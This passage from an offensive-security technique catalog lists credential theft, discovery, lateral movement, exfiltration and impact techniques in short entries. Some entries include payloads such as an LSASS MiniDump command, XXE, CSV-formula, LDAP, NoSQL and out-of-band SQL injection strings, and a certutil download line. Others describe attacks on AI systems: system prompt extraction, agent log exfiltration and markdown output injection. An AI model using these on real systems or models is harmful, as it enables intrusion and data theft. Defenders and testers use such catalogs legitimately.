ec2-instance-connect:SendSSHPublicKey lets a principal push an SSH key to any matching instance — 60-second window, SSH in.
- C-AZ-CLOUDSHELLAzure Cloud Shell Token Theft
Cloud Shell session writes a refresh token to /home/<user>/.azure on the underlying VM — exfil and reuse.
- C-IMDS-V1IMDSv1 Credential Theft
Hit 169.254.169.254/latest/meta-data/iam/security-credentials/<role> directly from a compromised process on the VM — IMDSv1 needs no token.
- C-IMDS-V2-HOPLIMITIMDSv2 hop-limit Bypass
Even IMDSv2 leaks via SSRF when the instance's hop limit > 1 (default 1, but often raised for legacy CNI / containers).
- C-SECRETS-MANAGER-DUMPSecrets Manager / Key Vault Dump
GetSecretValue / KeyVault.GetSecrets / SecretManager.AccessSecretVersion — abuse over-permissive IAM to dump every secret.
- CI-SECRET-IN-LOGSecret Echo to Build Log
Workflow inadvertently prints a secret (echo $SECRET, set -x, env dump) — public CI log exposes it.
- CR-ECDSA-K-REUSEECDSA k Reuse / Bias
Two signatures with the same nonce k under the same key trivially leak the private key (classic PS3 / Sony scenario).
- CR-HASH-LEN-EXTHash Length Extension
MAC = H(secret || msg) (MD5 / SHA-1 / SHA-256 without HMAC) — append arbitrary data without knowing the secret using hashpump.
- CR-NONCE-REUSEAEAD Nonce Reuse (GCM / ChaCha20-Poly1305)
Two messages encrypted under the same key + nonce — XOR ciphertexts to recover keystream and forge new messages.
- CR-PADDING-ORACLEPadding Oracle (CBC)
Server reveals padding-validity in error messages or timing — decrypt + forge any CBC-encrypted token (session cookies, viewstate).
- CR-TLS-DOWNGRADETLS Downgrade (POODLE / FREAK / LOGJAM)
Force the connection down to SSLv3 / EXPORT_RSA / DHE-512 — break crypto in real time, recover session keys.
- CR-WEAK-RNGPredictable Random Number Generation
Reset tokens / session IDs use Math.random / Mersenne Twister / time(NULL) — observe a few values, predict the rest.
- CVE-HEARTBLEEDHeartbleed (CVE-2014-0160)
OpenSSL TLS heartbeat over-read leaks adjacent memory — recover private keys, session cookies, plaintext credentials.
- EX-AUTODISCOVER-LEAKAutodiscover Domain Hijack
Misconfigured Autodiscover sends credentials to autodiscover.<TLD> as fallback — register that domain externally and harvest credentials.
- EX-OWLETOWA Form Cookie Theft
MITM / phishing harvests OWA forms-based auth cookies — replay until session expires (default 8 hours).
- FW-TPM-RELAYTPM Sniffing / Relay (BitLocker)
Sniff the LPC / SPI bus while TPM unseals the BitLocker key (10 USD logic analyzer demos) — recover the FVEK, decrypt the disk offline.
- HC-EHR-PORTALEHR Portal Default / Shared Creds
Vendor-default web admin passwords on Epic / Cerner / GE imaging portals — every EHR/HL7 deployment audit finds at least one.
- HV-NESTED-CREDHypervisor Credential Caches
Cached SSO tokens for vSphere SSO / Azure Local / AWS Outposts on the hypervisor — broad pivot into the cloud control plane.
- HW-CACHE-TIMINGCache Timing Attack (FLUSH+RELOAD / PRIME+PROBE)
Measure cache-access timing to recover AES / RSA / ECC keys from co-resident processes — devastating in multi-tenant clouds and browsers.
- HW-EM-SCAElectromagnetic / Power Side-Channel
Capture EM emanations or power-consumption traces near a target chip; correlation analysis recovers AES / RSA keys from smartcards / IoT chips.
- HW-SPECTRESpectre / Meltdown-class Side-Channel
Speculative execution leaks kernel / cross-process memory via cache-side-channels — useful in cloud (cross-tenant) and browser (cross-origin).
- IOT-BLE-EAVESDROPBLE Eavesdropping
Sniff BLE pairing with Ubertooth / Sniffle / nRF52 — capture LTK / IRK on insecure (Just Works) pairing.
- IOT-BLE-MITMBLE MITM (gattacker / btlejack)
Clone the device's advertisement, MITM the central + peripheral; downgrade pairing security if possible.
- IOT-BLE-PIN-BRUTEBLE PIN Brute / Passkey Crack
Brute-force the 6-digit BLE passkey via crackle / btlejuice — works on Legacy Pairing in seconds.
- IOT-ZIGBEE-KEYZigbee Network Key Extraction
Sniff the initial network-key broadcast (kept in plaintext on first join) — gain full network access to the smart-home estate.
- M365-APP-PASSWORDLegacy App Password / Basic Auth
Some tenants still allow EWS basic auth or app passwords — bypass MFA via legacy protocols.
- M365-TOKEN-EXFILAAD Token Cache Exfil
Extract refresh tokens / FOCI tokens from a user's TokenCache.dat / WAM broker — replay against any Family Of Client IDs app.
- MAC-KEYCHAIN-DUMPmacOS Keychain Dump
security dump-keychain -d login.keychain — user prompts for each item, but ChainBreaker / LockSmith / Keychaindump scripts brute the master password.
- MF-RACF-BRUTEz/OS RACF / TopSecret Brute
Mainframe userIDs with predictable patterns and short / dictionary passwords — Kerberos / RACF TN3270 sessions are bruteforceable.
- MOB-IOS-KEYCHAINiOS Keychain Dump (jailbroken)
objection ios keychain dump — extract all kSecClassGenericPassword / kSecClassInternetPassword entries from the device.
- MOB-KEYSTORE-EXTRACTAndroid Keystore Extraction (rooted)
On rooted devices, extract keys from /data/misc/keystore — or via Frida hooking KeyStore.load to capture material in memory.
- N-ARP-SPOOFARP Spoofing / Cache Poisoning
bettercap / ettercap to interpose between two hosts on the same broadcast — captures cleartext + downgrades TLS where possible.
- N-DHCP-ROGUERogue DHCP Server
Win the DHCP race with shorter lease times — set yourself as the gateway and DNS resolver for new clients.
- N-MDNS-POISONmDNS / SSDP Poisoning
Spoof macOS / IoT name resolution — extends Responder's coverage beyond Windows LLMNR.
- N-MITM6mitm6 — IPv6 SLAAC Attack
Windows prefers IPv6; advertise yourself as the IPv6 DNS server, relay authentication via wpadwpadwpad / NTLM.
- N-WPAD-INJECTIONWPAD Proxy Auto-Config Injection
Serve a wpad.dat that proxies every browser request through the attacker — credential capture + injection.
- NET-DHCPV6-RGUARD-BYPASSDHCPv6 Rogue Guard Bypass
Many switches lack DHCPv6 Snooping equivalent — rogue DHCPv6 server still works even where DHCPv4 snooping is enforced.
- NET-OSPF-MD5-BRUTEOSPF MD5 Auth Brute
OSPF area authentication uses keyed MD5 — capture an LSA exchange and brute the key offline; once cracked, inject any LSA.
- NFC-MIFARE-CRACKMifare Classic Key Recovery
Crypto-1 cipher broken in 2008 — attack the nonce reuse / key-recovery via mfoc / mfcuk; clones to a 'magic card' in seconds.
- NFC-MIFARE-DESFIREMifare DESFire EV1 Side-Channel
Reported side-channel against EV1 / EV2 (Nohl + Plotz 2011, recurring) — recovers AES key with chosen-plaintext + power analysis.
- OT-LORAWAN-JOINLoRaWAN OTAA Join Replay
OTAA join procedure with weak AppKey / re-use of DevNonce — derive session keys, impersonate devices.
- PKI-COMPELLEDCompelled / Government CA Misissuance
Government-mandated trust anchors used to MITM (DigiNotar 2011, TURKTRUST 2013, Symantec misissuance) — every CA error becomes everyone's problem.
- PKI-ROGUE-CARogue / Compromised Root CA
Trusted root CA private key leak / compelled-signing — issue arbitrary leaf certificates, MITM any TLS without warnings.
- PKI-WEAK-CURVEWeak Curve / Signature Forgery
Old ECC curves with known invalid-curve / twist attacks — forge signatures or recover private keys from a few signatures.
- PRT-LDAP-CRED-STEALMFP LDAP Address-Book Credential Theft
Configure the MFP to use attacker LDAP for address-book lookups — printer sends its bind credentials in cleartext (often a domain service account).
- PRT-SMB-REL-CREDMFP Scan-to-SMB Coerce
Point the printer's scan-to-SMB at an attacker host — NetNTLM credentials of the configured scan account hit the attacker, ready to relay.
- SAAS-API-TOKEN-LEAKSaaS API Token in Code / CI
Stripe / SendGrid / Datadog / PagerDuty tokens committed to repos or logged in CI — abuse for billing fraud, data exfil, account takeover.
- SAAS-GH-PAT-LEAKGitHub Personal Access Token Leak
GH PAT committed to a public / forked / Gist repo — full read/write to the user's repos, packages, deploy keys.
- SAAS-SLACK-TOKENSlack Token / Webhook Theft
Slack xoxp / xoxb / xoxa tokens leaked in source, env files, CI logs — read history, post as user / app, exfil DMs.
- SE-HELPDESK-RESETHelpdesk Social Engineering — MFA / Password Reset
Call helpdesk pretending to be the user, request password / MFA factor reset. Often paired with vishing scripts and partial PII.
- T1003OS Credential Dumping
Dump credentials from LSASS, SAM, ntds.dit, /etc/shadow.
- T1003.001LSASS Memory
Dump LSASS (mimikatz, procdump, comsvcs) to extract plaintext, NT hashes, and Kerberos tickets.
- T1003.002Security Account Manager
Dump local SAM/SYSTEM hives to recover local account hashes.
- T1003.003NTDS
Extract NTDS.dit from a DC to recover every domain account hash, including krbtgt.
- T1003.006DCSync
Abuse DRS GetNCChanges replication API (DS-Replication-Get-Changes-All) to pull credentials from a DC.
- T1040Network Sniffing
Passive capture of network traffic to extract credentials, tokens, configuration data — Wireshark, tcpdump, RTP / Modbus / Zigbee captures.
- T1110Brute Force
Guess credentials via repeated authentication attempts.
- T1110.003Password Spraying
Try a small set of common passwords across many accounts to avoid lockout.
- T1110.004Credential Stuffing
Replay credentials leaked from third-party breaches against domain auth.
- T1187Forced Authentication
Coerce a target (PetitPotam, PrinterBug, DFSCoerce) to authenticate to an attacker-controlled host.
- T1539Steal Web Session Cookie
Steal a session cookie (via XSS, MITM, cache poison) to take over an authenticated session without credentials.
- T1552Unsecured Credentials
Credentials stored or transmitted insecurely (in source, env files, cloud metadata, password stores).
- T1555Credentials from Password Stores
Extract credentials from password managers, browsers, vaults.
- T1556Modify Authentication Process
Subvert auth — Skeleton Key, password filter DLLs, fake LDAP listeners, swapping cert / key material, SSO IdP tampering.
- T1557Adversary-in-the-Middle
Position between two parties to intercept / modify / capture traffic — LLMNR, NTLM relay, MITM proxies, mitm6.
- T1557.001LLMNR/NBT-NS Poisoning and SMB Relay
Spoof name resolution to coerce victims to authenticate, then relay or crack the captured NetNTLMv2.
- T1558Steal or Forge Kerberos Tickets
Kerberoasting, Golden/Silver tickets, AS-REP roasting.
- T1558.001Golden Ticket
Forge a TGT using a stolen krbtgt hash to impersonate any principal in the domain.
- T1558.002Silver Ticket
Forge a service TGS using a stolen service-account hash to access a specific service.
- T1558.003Kerberoasting
Request TGS for accounts with SPNs and crack the RC4 ticket offline to recover the service-account password.
- T1558.004AS-REP Roasting
Request AS-REP for users with DONT_REQUIRE_PREAUTH and crack the returned blob offline.
- T1558.005Ccache File Theft
Steal Kerberos credential cache files from a compromised host.
- VOIP-SIP-BRUTESIP REGISTER Bruteforce
Bruteforce SIP extension passwords (often = extension number) — log in as the extension, place outbound calls.
- VPN-CITRIX-BLEEDCitrix Bleed (CVE-2023-4966)
NetScaler ADC / Gateway memory disclosure — recover authenticated session tokens from gateway memory.
- W-AUTH-BRUTELogin Bruteforce
Hydra / Burp Intruder against an unrate-limited login endpoint.
- W-AUTH-DEFAULTDefault Credentials
Vendor-shipped admin/admin, root/calvin, etc. on appliance UIs and installed apps (Tomcat manager, Jenkins, GLPI, …).
- W-AUTH-SPRAYPassword Spraying (Web)
Spray a common password across enumerated usernames — sidesteps per-account lockout.
- W-AUTH-STUFFINGCredential Stuffing
Replay credentials from third-party breach dumps against the target login.
- W-COOKIE-WEAKWeak / Predictable Session Cookie
Sequential / time-based / weakly hashed session IDs allow prediction or rotation of valid sessions.
- W-CSV-INJECTIONCSV / Formula Injection
=cmd|'/c calc'!A1 in exported CSV — fires when an analyst opens the file in Excel.
- W-JWT-ALG-CONFUSIONJWT — RS256 → HS256 Algorithm Confusion
Sign an HS256 token using the server's public RSA key as the HMAC secret — server verifies it as RS256-compatible HMAC.
- W-JWT-JKUJWT — jku / x5u Header Abuse
jku / x5u points to an attacker-controlled URL serving the public key matching your forged signature.
- W-JWT-KIDJWT — kid Header Injection
kid header used to load the verification key from disk / SQL — inject path traversal or SQLi to control the key.
- W-JWT-NONEJWT — "none" Algorithm
Server accepts alg=none — forge any payload, strip signature, log in as anyone.
- W-JWT-WEAKJWT — Weak HMAC Secret
HS256 with a guessable / leaked secret — crack with hashcat -m 16500 and forge tokens.
- W-LSASS-PROCDUMPLSASS via procdump / comsvcs.dll
rundll32.exe C:\windows\system32\comsvcs.dll MiniDump <pid> dump.dmp full — dump LSASS without Mimikatz signature.
- W-MFA-BYPASSMFA Bypass
Race conditions, brute-force OTP with no rate limit, downgrade auth flow, abuse of recovery / trusted-device flow.
- W-OAUTH-IMPLICITOAuth — Implicit Flow Token Leak
Access token returned in the URL fragment — referrer / browser-history / window.location leaks let an attacker capture it.
- W-OAUTH-MISCONFIGOAuth — redirect_uri Misconfig
Server accepts a wildcard / partial-match / open redirect-uri — steal the authorization code from the callback.
- W-OAUTH-STATEOAuth — Missing state / PKCE
Login-CSRF on OAuth: attacker logs the victim into an attacker-controlled provider account.
- W-SESSION-FIXSession Fixation
Set the victim's session cookie before authentication; victim logs in, attacker rides the now-authenticated session.
- W3-KEY-LEAKPrivate Key Leak (committed / phished)
Private key in a public repo, leaked .env, phished from a hot wallet — direct theft of every on-chain asset.
- W3-SIG-REPLAYSignature Replay
EIP-712 / personal_sign signature accepted across chains, contracts, or nonces — replay an off-chain signature to drain approved tokens.
- W3-TX-ORIGINtx.origin Auth Bypass
Contract authenticates via tx.origin — a malicious contract the victim interacts with sees their tx.origin and impersonates them downstream.
- WIFI-EAP-RELAYEAP / 802.1X Relay (eaphammer)
Set up a rogue RADIUS to capture EAP-PEAP/MSCHAPv2 challenge-response from clients that don't validate the server cert — relay or crack.
- WIFI-PMKIDWPA2 PMKID Attack
RSN IE PMKID extracted from a single association attempt — no client needed, crack offline with hashcat -m 22000.
- WIFI-WPA2-PSKWPA2-PSK Handshake Capture + Crack
Deauth a connected client to force re-handshake, capture 4-way handshake, crack offline with hashcat -m 22000.
- WIFI-WPA3-DRAGONWPA3 Dragonblood
Side-channel / downgrade attacks on WPA3 SAE — recover password via cache-based attack on commit message.
- WLT-ETHSIG-BLINDBlind eth_sign Phish
Get a signature on a hash the victim can't preview — that signature later authorises an arbitrary transaction.
- WLT-SEED-PHISHSeed Phrase Phishing
Fake MetaMask / Trust Wallet support page asks for 12-/24-word seed — usually delivered via Discord / Twitter / Google ads.
Discovery
27 techniques- AD-BLOODHOUNDBloodHound / SharpHound Enumeration
Collect AD objects, sessions, and ACLs to discover attack paths to high-value targets.
- AD-NETEXECNetExec / CrackMapExec Sweep
Authenticated SMB/LDAP/WinRM/MSSQL sweeps across the estate — module-driven enumeration.
- AD-NULLSESSSMB Null Session
Anonymous IPC$ session enables enumeration of users, shares, RID cycling.
- AD-PRE2KPre-Windows 2000 Compatible Access
Membership grants anonymous LDAP read of the domain partition.
- AD-RODC-MEMBERSRODC Revealed Accounts Enumeration
Enumerate msDS-RevealedDSAs / msDS-RevealedList to find what credentials a RODC can disclose.
- AD-SOAPHOUNDSOAPHound — ADWS Collection
Collect AD data via Active Directory Web Services (port 9389) instead of LDAP — quieter, less flagged.
- AI-SYS-PROMPT-LEAKSystem Prompt Extraction
Coax the model into echoing its hidden system prompt via role-play / repetition / encoding tricks — reveals business logic, allowlists, secrets.
- CVE-GHOSTCATGhostcat / AJP File Read (CVE-2020-1938)
Tomcat AJP connector accepts unauthenticated file reads / includes — disclose WEB-INF/web.xml, often credentials.
- DNS-ZONE-TRANSFERUnrestricted Zone Transfer (AXFR)
dig @ns axfr <domain> succeeds — full DNS zone leaks every hostname, including unlinked dev/admin/staging.
- K-RBAC-AUDITK8s RBAC Audit (rakkess / kubectl-who-can)
Enumerate every binding to find can-i secrets, can-i pods/exec, can-i pods/create — finds escalation vectors.
- K-SA-TOKENServiceAccount Token Theft
Read /var/run/secrets/kubernetes.io/serviceaccount/token from a compromised pod — talk to the API server as the pod's SA.
- N-NMAP-INTERNALInternal Nmap Sweep
Authenticated / unauthenticated TCP+UDP sweep against discovered subnets — finds web admin panels, MSSQL, exposed prints.
- T1018Remote System Discovery
Find other hosts on the network.
- T1018.001Remote System Discovery — AD
Enumerate domain-joined hosts via LDAP / ADWS / SMB.
- T1069Permission Groups Discovery
Enumerate groups and their members.
- T1083File and Directory Discovery
Enumerate files and directories on a compromised host — find sensitive files, SUID binaries, configs.
- T1087Account Discovery
Enumerate local or domain accounts.
- T1087.002Domain Account Discovery
Enumerate domain users / groups via LDAP, net, ADModule, etc.
- T1482Domain Trust Discovery
Map AD trusts and forest relationships.
- T1518Software Discovery
Identify installed software / running services / kernel versions to pick the right post-exploitation primitive.
- VOIP-SIP-SCANSIP Scanning & Enumeration
svmap / sipvicious / nmap sip-enum-users — discover SIP servers and enumerate valid extensions via OPTIONS / REGISTER responses.
- W-BACKUP-LEAKBackup File Disclosure
*.sql / *.bak / index.php.bak / *.old served by the webserver — leak the database or the source code.
- W-DEBUG-ENDPOINTDebug / Admin Endpoint Exposed
/actuator (Spring Boot), /trace, /heapdump, /debug, framework-default panels reachable in prod.
- W-ENV-FILE.env / .git / .DS_Store Exposure
Source-control or dev files served by the webserver — .git lets you `git-dumper` the full repo, .env leaks all secrets.
- W-GRAPHQL-AUTHZGraphQL Field-Level AuthZ Gaps
Top-level resolver checks auth; nested fields don't — query around the check via aliasing / unions.
- W-GRAPHQL-BATCHGraphQL Batching / Aliasing Abuse
Batch hundreds of mutations in one request to bypass rate limits — login brute-force, OTP brute-force.
- W-GRAPHQL-INTROGraphQL Introspection
__schema query reveals every type, field, mutation — even in production where it should be disabled.
Lateral Movement
43 techniques- 5G-GTP-UGTP-U User-Plane Spoof
Mobile core GPRS Tunneling Protocol user-plane traffic often unfiltered between hops — inject packets into subscriber bearers; also useful for free-of-charge data tunnels.
- AD-CON-DELConstrained Delegation Abuse
Abuse msDS-AllowedToDelegateTo to impersonate any user to the configured service via S4U.
- AD-DMSADelegated Managed Service Account Auth
Authenticate as a DMSA — Windows Server 2025 successor to gMSA with new attack surface.
- AD-EXTSID-HISTORYExtraSIDs / SID History Injection
Insert SID History claims into a forged ticket to authenticate across a one-way or two-way trust.
- AD-FOREIGN-SPForeign Security Principal Abuse
Add a foreign principal (cross-forest SID) to a local domain group — bypass cross-trust filtering when misconfigured.
- AD-MSSQL-LINKMSSQL Linked Server Crawl
Hop across linked SQL servers via openquery / 4-part-naming — gain code execution on each link.
- AD-RBCDResource-Based Constrained Delegation (RBCD) Abuse
Write msDS-AllowedToActOnBehalfOfOtherIdentity on a target computer to S4U2self/S4U2proxy into it.
- AD-SCCM-MSSQLSCCM MSSQL Site Database Abuse
Direct MSSQL access to the site DB grants Full Administrator rights by inserting a row in RBAC_Admins.
- AD-UNC-DELUnconstrained Delegation Abuse
Coerce a high-value account to authenticate to a server with unconstrained delegation and steal its TGT.
- C-AWS-ASSUMEROLE-CHAINAWS sts:AssumeRole Chain
Hop across trust relationships (cross-account, cross-service) via STS — common when role trust policies are over-broad.
- C-AWS-SSM-RUNAWS SSM RunCommand / StartSession
ssm:SendCommand / StartSession on a target instance — execute as root without touching SSH.
- C-AZ-RUNCOMMAND-VMAzure VM RunCommand
VirtualMachines/runCommand/action runs scripts as SYSTEM on the target VM — relies only on RBAC, not OS login.
- DNS-REBINDINGDNS Rebinding
Attacker-controlled DNS responds with short-TTL A records that flip from attacker IP to internal RFC1918 IPs — victim browser then talks to internal services via the attacker page.
- IOT-BLE-REPLAYBLE Replay
Record a 'unlock' command sent over a non-authenticated BLE characteristic, replay it to open the smart lock / device.
- IOT-UPNP-ABUSEUPnP Port-Forward Abuse
Internet-facing router accepts UPnP IGD AddPortMapping from the LAN side without check — pivot to internal hosts via attacker-opened ports.
- N-CHISELchisel / ligolo / sshuttle Tunnel
TCP/UDP tunnels over HTTP(S) when SSH is unavailable — chisel client to attacker, ligolo for L3 pivoting.
- N-PROXYCHAINSproxychains via SOCKS Tunnel
Wrap any TCP tool through a SOCKS5 tunnel — pivots impacket, nmap, etc. through a compromised host.
- N-SSH-PROXYSSH Dynamic / Reverse Tunnel
ssh -D / -R from a foothold to expose internal services through the attacker host — go-to pivot primitive.
- N-VLAN-HOPVLAN Hopping
Double-tagging / dynamic-trunk negotiation to send frames across VLAN boundaries — bypass network segmentation.
- NET-BGP-HIJACKBGP Route Hijack
Announce a more-specific or origin-spoofed prefix from a compliant AS — global traffic for that prefix routes through attacker for inspection / drop.
- NFC-APPLE-PAY-RELAYApple Pay Express Transit Relay
Specific Visa + Express Transit config let attackers relay an active wallet from a victim's pocket to a payment terminal up to several thousand £ per tap.
- NFC-EMV-RELAYGeneric EMV Contactless Relay
Two devices proxy ISO/IEC 14443 frames between victim's contactless card and a real terminal — performs transactions without victim presence.
- OT-ENG-WORKSTATIONEngineering Workstation Pivot
Compromise the engineering laptop (TIA Portal / Studio 5000) — push arbitrary logic to PLCs through legitimate channels.
- OT-IT-OT-PIVOTIT → OT Network Pivot
Misconfigured firewall / shared AD / jump host lets a corporate-IT foothold reach the OT segment — typical lateral path in TRITON / INDUSTROYER cases.
- POS-PAYMENT-SWITCHPayment-Switch Network Pivot
POS network is flat; pivot from a payment-switch host into back-office systems — Target 2013 / Home Depot 2014 pattern.
- SAT-COM-RELAYSatCom Modem Relay
Maritime / aviation SatCom modems (Cobham, Inmarsat) historically accept management commands without auth — change firmware, relay traffic, drop kernel implants.
- T1021Remote Services
Use RDP, SSH, SMB, WinRM, etc. to pivot.
- T1021.001Remote Desktop Protocol
Lateral movement via RDP using harvested credentials.
- T1021.002SMB/Windows Admin Shares
Use admin shares (ADMIN$, C$, IPC$) over SMB to execute on remote hosts.
- T1021.006Windows Remote Management
Lateral movement via WinRM/PSRemoting.
- T1550Use Alternate Authentication Material
Pass-the-hash, pass-the-ticket, application access tokens.
- T1550.002Pass the Hash
Authenticate to a remote service with an NT hash instead of a plaintext password.
- T1550.003Pass the Ticket
Inject a stolen or forged Kerberos ticket into the current session for impersonation.
- W-LFILocal File Inclusion (LFI)
../../etc/passwd-style traversal in an include/require parameter — read source, configs, secrets.
- W-PATH-TRAVERSALPath Traversal
Read arbitrary files via traversal in a file-serving endpoint (downloads, image proxies, PDF generators).
- W-SSRFServer-Side Request Forgery (SSRF)
App fetches a URL controlled by the user — pivot to internal services unreachable from the internet.
- W-SSRF-BLINDBlind SSRF (Timing / OOB)
No response shown — confirm via timing or DNS callback (Burp Collaborator, interactsh).
- W-SSRF-IMDSSSRF → Cloud IMDS
Hit 169.254.169.254 / 100.100.100.200 / metadata.google.internal — recover IAM role / instance creds.
- W-SSRF-INTERNALSSRF → Internal Service Exploit
Reach Redis (FLUSHALL / config rewrite), Elasticsearch, Kibana, Consul, Memcached — often unauthenticated internally.
- W-XXE-BLIND-OOBBlind XXE — Out-of-Band Exfil
External DTD with parameter entities exfiltrates file contents via a DNS / HTTP callback.
- W-XXE-CLASSICXML External Entity (XXE) — Classic
<!ENTITY xxe SYSTEM "file:///etc/passwd"> — included in the response or used to pivot.
- W-XXE-SSRFXXE → SSRF
Use SYSTEM "http://internal" entity to make the XML parser fetch internal URLs.
- W-ZIP-SLIPZip Slip / Tar Slip
Crafted archive entry name contains ../ — extraction writes outside the target directory (overwrite cron, authorized_keys, webshell drop).
Collection
37 techniques- AI-AGENT-EXFIL-LOGSExfil via Agent Observability Logs
Force the agent to echo secrets into its trace / logging system; the observability backend is the actual exfil channel.
- AI-MODEL-EXTRACTModel Theft / Extraction
Query the target model at scale, train a substitute model on the outputs — replicates the IP at fraction of training cost.
- AI-TRAINING-EXFILTraining Data Extraction
Membership-inference / repetition prompts coax the model into emitting verbatim training data (PII, copyrighted text, code).
- C-KMS-DECRYPTKMS Decrypt Abuse
kms:Decrypt on grants intended for service consumers — decrypt arbitrary ciphertext, including snapshot keys / EBS volume keys.
- C-RDS-SNAPSHOTRDS / Azure-SQL Snapshot Share
CreateDBSnapshot then ModifyDBSnapshotAttribute to share to an attacker-owned account — clone DB outside victim tenancy.
- C-S3-EXFILS3 / Blob / GCS Mass Exfil
ListObjects + GetObject loop across discovered buckets — straight data theft.
- CDN-VERCEL-FN-LEAKServerless Function Env Leak
Vercel / Netlify / AWS Lambda function configured with NEXT_PUBLIC_ vars or via error message leaks env (Stripe key, DB url, GitHub PAT).
- CR-ECB-DETECTECB Mode Detection / Plaintext Recovery
Cookies / tokens encrypted in ECB show repeated 16-byte blocks for repeated plaintext — recover plaintext via chosen-plaintext byte-at-a-time.
- DB-POSTGRES-COPYPostgreSQL COPY FROM PROGRAM RCE
Postgres superuser COPY ... FROM PROGRAM runs shell commands — used when an SQLi yields superuser.
- HC-DICOM-CSTOREDICOM C-STORE Unauth Access
Most PACS / DICOM servers don't authenticate C-STORE/C-FIND on port 104/11112 — read or write medical images.
- IOT-FW-EXTRACTFirmware Extraction (binwalk / dump)
Pull firmware via UART / JTAG / SPI flash dump, or by intercepting an OTA update — extract filesystem + binaries for static analysis.
- M365-EWS-EXFILExchange Web Services (EWS) Exfil
Use an OAuth-token to query EWS / Graph for entire mailboxes — bypasses many DLP that focus on Outlook clients.
- M365-MAILBOX-FORWARDMailbox Forwarding Rule
Set an Outlook rule (or transport rule) to forward all mail to an external attacker mailbox — silent data exfil.
- M365-SHAREPOINT-LEAKSharePoint / OneDrive External Sharing
Open / anyone-with-link sharing leaves company files publicly indexable — recon via Bing / Grayhat Warfare.
- MOB-BACKUP-EXTRACTADB Backup Extraction
adb backup -f data.ab → unpack with abe.jar — recovers app-private data when backupEnabled is unset (default true on old API levels).
- MOB-CONTENT-PROVIDERContent Provider Data Leak
Exported ContentProvider with insufficient grantUri checks — third-party app reads private data (auth tokens, PII, cached creds).
- MOB-IOS-PASTEBOARDiOS UIPasteboard Sniffing
Apps with clipboard read access on iOS < 14 silently read every clipboard event — pre-2020 leak of OTPs, passwords, copied PII.
- NET-SNMP-CONFIG-DLSNMP TFTP Config Download
Specific OID writes trigger the device to TFTP its config to an attacker host — exfil interfaces, ACLs, AAA keys, RADIUS secret.
- POS-CARD-SKIMCard Skimmer Hardware
Overlay reader on an ATM / pump that captures magstripe data + tiny camera for PIN — classic deployed-skimmer kit.
- POS-CHIP-SHIMMERChip Shimmer (EMV)
Paper-thin shim sits between card and terminal contacts — captures chip data for partial replay attacks where downgrade is possible.
- POS-RAM-SCRAPEPOS RAM Scraping
Windows-based POS terminal memory contains decrypted track-1/2 data briefly during transaction — scrape with kernel-mode or process-mem reads.
- PRT-PRINT-JOB-INTERCEPTPrint Job Interception
Spool to the printer goes over plaintext IPP / LPD — sniff or MITM and capture sensitive documents.
- SAAS-NOTION-SHARENotion / Coda Over-Shared Workspace
Pages 'shared with the web' get indexed by Google — internal docs, credentials, customer lists exposed via search.
- T1005Data from Local System
Collect data from compromised hosts.
- T1039Data from Network Shared Drive
Collect data from network shares.
- T1056Input Capture
Capture user input — keylogging, GUI hooks, credential portals, captured network creds.
- T1074Data Staged
Stage data on a compromised host or intermediary before exfil — bundle, compress, encrypt for transport.
- VOIP-RTP-CAPTURERTP Stream Capture
Sniff or MITM unencrypted RTP audio streams — pcap → Wireshark decodes to .wav; recover voicemail PINs, business intel.
- VPN-CONFIG-EXFILVPN Configuration Exfil
Pull configs (saved usernames, RADIUS keys, LDAP binds, S2S PSKs) from a compromised appliance — credentials for further pivot.
- W-LDAPILDAP Injection
*)(uid=*))(|(uid=* — bypass auth filters and enumerate the directory.
- W-NOSQLINoSQL Injection (MongoDB)
{"$ne": null} / {"$gt": ""} operator injection bypasses login or extracts data field by field.
- W-SQLI-BLIND-BOOLSQL Injection — Boolean Blind
Infer values one bit at a time via differential responses (page contents / status).
- W-SQLI-BLIND-TIMESQL Injection — Time-Based Blind
SLEEP / pg_sleep / WAITFOR DELAY — infer bits via response latency. Slowest but most universal.
- W-SQLI-ERRORSQL Injection — Error-Based
Force DB error messages that leak query data (extractvalue, updatexml, double-cast).
- W-SQLI-OOBSQL Injection — Out-of-Band
DNS / HTTP exfil via xp_dirtree, LOAD_FILE(\\\\attacker), UTL_HTTP — useful when responses are filtered.
- W-SQLI-UNIONSQL Injection — UNION-Based
Append UNION SELECT to enumerate columns and exfiltrate arbitrary tables.
- W-XPATHIXPath Injection
' or '1'='1 patterns against XPath-based auth — also enumerate the XML doc.
Command and Control
5 techniques- DNS-DOH-C2DNS-over-HTTPS C2 Channel
Tunnel C2 over DoH to a CDN-fronted resolver — bypasses many egress filters that allow HTTPS to common hosts but not raw UDP/53.
- LOL-BITSADMINbitsadmin.exe Background Transfer
BITS jobs persist transfers across reboots and run as the service user — quiet exfil + download primitive.
- LOL-CERTUTILcertutil.exe Download / Decode
Signed Windows binary used as a downloader (certutil -urlcache -split -f) or base64 decoder — slips past simple EDR.
- T1071Application Layer Protocol
Use HTTP(S), DNS, etc. for C2.
- T1572Protocol Tunneling
Tunnel C2 traffic through another protocol.
Exfiltration
3 techniques- DNS-TUNNEL-EXFILDNS Tunneling Exfil (iodine / dnscat2)
Encode exfil data into subdomain queries — works wherever recursive DNS is allowed out, often the last egress channel open.
- T1041Exfiltration Over C2 Channel
Send data out through the C2 channel.
- T1567Exfiltration Over Web Service
Send data to cloud storage or paste sites.
Impact
76 techniques- 5G-GPS-SPOOFGPS / GNSS Spoofing
Broadcast forged GNSS signals near a target receiver — drift positioning, time, or simulate alternate routes (ship spoofing, drone fence bypass).
- AA-4337-ENTRYPOINTERC-4337 EntryPoint Abuse
Crafted UserOperation that the bundler executes profitably for the attacker but drains gas / funds from the smart account / paymaster.
- AA-4626-INFLATIONERC-4626 Vault Inflation Attack
First-depositor inflation: attacker deposits 1 wei, transfers tokens directly to the vault to inflate share price, donations from later depositors get rounded to zero shares.
- AA-PAYMASTER-DRAINPaymaster Sponsor Drain
Paymaster sponsors gas without rate-limiting / per-user accounting — attacker spams UserOperations until the paymaster's deposit is empty.
- AI-OUTPUT-INJECTOutput Injection (Markdown / HTML)
LLM emits malicious markdown (data: URLs, image probes, JS) that fires when its output is rendered in a downstream UI (chat, ticket, email).
- BX-EXT-INJECTED-XSSContent Script DOM Injection
Extension's content script injects into all pages without proper isolation — buggy ext code becomes an XSS in every visited site.
- CDN-CACHE-RULE-INJECTEdge Cache Rule Injection
Misconfigured page-rule / cache rule treats authenticated responses as cacheable — every visitor receives a previous user's response (or the attacker poisons it).
- CDN-HEADER-SMUGGLECDN Header Smuggling
CF-Connecting-IP / Forwarded / Host headers honoured differently between edge + origin — bypass authorisation / steal cache state.
